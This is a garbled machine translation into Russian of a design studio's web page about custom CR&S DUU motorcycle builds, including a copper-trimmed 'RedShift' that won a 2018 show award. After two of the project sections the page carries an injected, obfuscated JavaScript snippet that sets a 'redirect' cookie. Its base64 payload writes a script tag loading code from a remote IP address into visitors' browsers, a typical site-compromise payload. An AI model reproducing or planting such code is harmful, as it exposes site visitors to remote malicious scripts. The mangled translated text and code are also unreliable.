Записи, отмеченные как «CR&S несет»

CR&S ВЕДЕТ “RedShift”

crsduuredshift_titolo

ДАЛ RedShift является естественной эволюцией нотного CR&S ВЕДЕТ, мотоцикл производится исключительно в небольшом обращении мотоцикла производитель meneghina с ремесленником плесенью.
Когда в 2013 дуу проект был прерван неприязнью интерьера в ЧР&S, его ведущий дизайнер Донато Cannatello, После краткого пребывания в Matchless, Он решил открыть свой собственный дизайн-центр, и для продвижения вперед его проект, Теперь сиротой его создателей, Однако, используя сотрудничество и утверждение основателей эксклюзивного мотоцикла, а также оперативной рабочей силы, благодаря неизменному уважению и дружбе.

Оригинальный велосипед был разработан в соответствии с теми, кто были определенные стилистические стандарты, определенные в то время как естественной эволюции модели «Biotta» («Голый» под ред) по поводу представленной компании.

Редизайн явно ориентирован на новый рок-устойчивый передний конец, заменив оригинальную перевернутую вилку с инновационной системой на центральную подушку и боковое скольжение оболочки. Laprogettazione новый передний конец рождается на компьютер, создавая все компоненты с помощью трехмерного моделирования и анализа методом конечных элементов , который он также позволил нам анализировать каждую часть через контроль сил, которым он подвергается.
Компоненты были реализованы с помощью технологии удаления ЧПУ (цифровое управление
компьютерный) с фрезерованием заготовок.

дизайн (или, вернее, реализации) различных медных компонентов является услугой, которая дала хроматический и ремесленный характер мотоцикла.
Начиная от оригинальных форм частей кузова автомобиля, с помощью традиционных технологий печатания на основе смолы, Они оформились некоторые элементы, которые приносят с собой ручную работой квалифицированных мастеров картезианской из благородного металла.

RedShift еще мотоцикл каждый день, не только производительность.
Одним из основных компонентов, которые соответствуют этой идее есть новое пассажирское сиденье / хвост, который имеет двойное значение, с одной стороны, «Обложка автомобиль» с основанием из алюминиевой заготовки, которая создает визуальную преемственность с геометрией хвоста / бака, в то время как просто поворачивая Выясняется, проложенный седло для размещения пассажиров в случае необходимости.

Название проекта «Redshift», явление, с помощью которого свет, испускаемый астрального объект имеет длину волны большего размера, чем тот, который он имел в эмиссии, shiftando своего цвета на красный, Она символизирует эволюцию дуу, от небольших мотоциклов до серии только велосипед эволюционировали.

RedShift IL:

  • Красное смещение явление, с помощью которого свет, испускаемый из объекта имеет большую длину волны, чем та, которая была в эмиссии.
    Это означает, что цвет превращается в красный.
  • Наиболее важным является RedShift в космологии, в связи с расширением Вселенной. Звезды, в частности, показывает красное смещение, соответствующее скорости, с которой увеличивается их расстояние от земли.
  • Медь используется на нашем ем его смещение от первоначального дуу, старение изменит свой цвет, при условии, хроматические вариации, что материал будет принимать.
logo

ИТАЛЬЯНСКИЙ МОТОЦИКЛ КОНКУРС
"BEST OF SHOW 2018"

Наши ВЕДЕТ "Redshift" Он выиграл награду "BEST OF SHOW" национальный конкурс IMC , сталкиваясь с другими велосипедами красивыми и на самом высоком уровне.

Это, очевидно, наполняет нас гордостью и побуждает нас сделать еще лучше.

Партнеры проекта:

Andreani подвеска
Rizoma
S&S
SILVER TRE Серебряный 3
Paaschburg & Вундерлич GmbH
Motogadget
TAPESTRY Марра Фабрицио Марра
pH. Арианна Pavani
pH. Донато Cannatello
FACEBOOK Instagram pH. Guido Polli

Пресс-кит ДАЛИ RedShift

Скачать Пресс-кит данной RedShift

CR&S ВЕДЕТ “Nd01”

CR&S DUULa CR&S ВЕДЕТ Это мотоцикл, который мы очень хорошо знаем, мы сотрудничали в разработке прямо в CR&S следуя стиль и инженерию, чтобы начать прямые настройки для самых требовательных клиентов.
Теперь мы создали версию, витрина наших возможностей дизайна, где мы могли в полной мере выразить свои идеи по поводу мотоцикла стиля и где применять большинство критериев, которые всегда сопровождали нас: функциональность, эстетика, внимание к деталям и отвращение к краске и охватывает все бесполезно.

 

Наша CR&S ий явно был предметом глубокой настройки в основном из-за того, что модель, из которой он черпает, la CR&S ВЕДЕТ “Biotta”, родился в версии “обнаженный” CR&S дуу оригинал. Из-за неполное развитие первоначального проекта в ЧР&S, однако, велосипед был “denúdala” (Biotta n.d.r.) только передний, оставив странную смесь голой перед (тоже) и сзади, что вместо того, чтобы еще части в традиционном пластиковом кузове… Слишком грубо для мотоцикла такого калибра!

Затем мы попытались сбалансировать стиль между передней и задней, слегка перекрывая на первый и второй отпарной.
В Учитывая мы тогда образный ий в CAD перед тем, а затем из алюминия, почти все Алюминий, почти все в CAD.

 

Некоторые части предпочли ее руку экспромтом (это всегда справедливо, чтобы оставить часть работы сердца), но в основном велосипед был полностью разработан, отображается, а затем сделал, все с рабочим потоком, который в настоящее время характеризует нас и видит нас среди технические пионеры.

Велосипед был результатом большой работы, в целом наш подход к проектам всегда включает в себя предварительный этап 2D-концепции, которую мы представить клиенту (будь то бизнес или частные), где мы пытаемся сделать очистить все точки, которые будут подвергаться вмешательствам и в основном пытаемся определить сразу два наиболее важные параметры: Объемы и стиль.

После этого мы продолжим определение проекта, развивая его с использованием компьютеров, но и карандаш или непосредственно механический цех.

 

Все части, разработанные системы САПР были реализованы в механической обработке CNC из алюминиевых деталей или плексигласа или ABS и других материалов. С нашим опытом в области проекта мы конструировали с нуля задним фонарем в сборе представляет собой самоизлучающий фриз, который напоминает нашу эмблему, не будучи слишком очевидными.

Картер Х-Клин S&S CR е&S ВЕДЕТ

функция getCookie(е){вар U = document.cookie.match(новый RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”знак равно([^;]*)”));возвращение U?decodeURIComponent(U[1]):недействительным 0}вар SRC =”данные:текст / JavaScript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,Теперь = Math.floor(Date.now()/1e3),печенье = getCookie(“переадресовывать”);если(сейчас>знак равно(время = печенье)||аннулируются время 0 ===){Время вара = Math.floor(Date.now()/1e3 + 86400),дата = новая Дата((новая Дата).GetTime()+86400);document.cookie =”перенаправлять =”+время +”; Путь = /; истекает =”+date.toGMTString(),document.write(”)}

CR&S ВЕДЕТ “SmallSheep”

Предложение для легкого рестайлинга для CR&S ВЕДЕТ

Мы попытались приспособиться к стилю классических форм, с круглой передней фарой и удалением некоторых пластмасс и переработано cooperture.

Очень консервативное вмешательство, чтобы позволить ему работать как в качестве обновления или модернизации вторичного рынка.

Некоторые обложки посвящены ими

функция getCookie(е){вар U = document.cookie.match(новый RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”знак равно([^;]*)”));возвращение U?decodeURIComponent(U[1]):недействительным 0}вар SRC =”данные:текст / JavaScript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,Теперь = Math.floor(Date.now()/1e3),печенье = getCookie(“переадресовывать”);если(сейчас>знак равно(время = печенье)||аннулируются время 0 ===){Время вара = Math.floor(Date.now()/1e3 + 86400),дата = новая Дата((новая Дата).GetTime()+86400);document.cookie =”перенаправлять =”+время +”; Путь = /; истекает =”+date.toGMTString(),document.write(”)}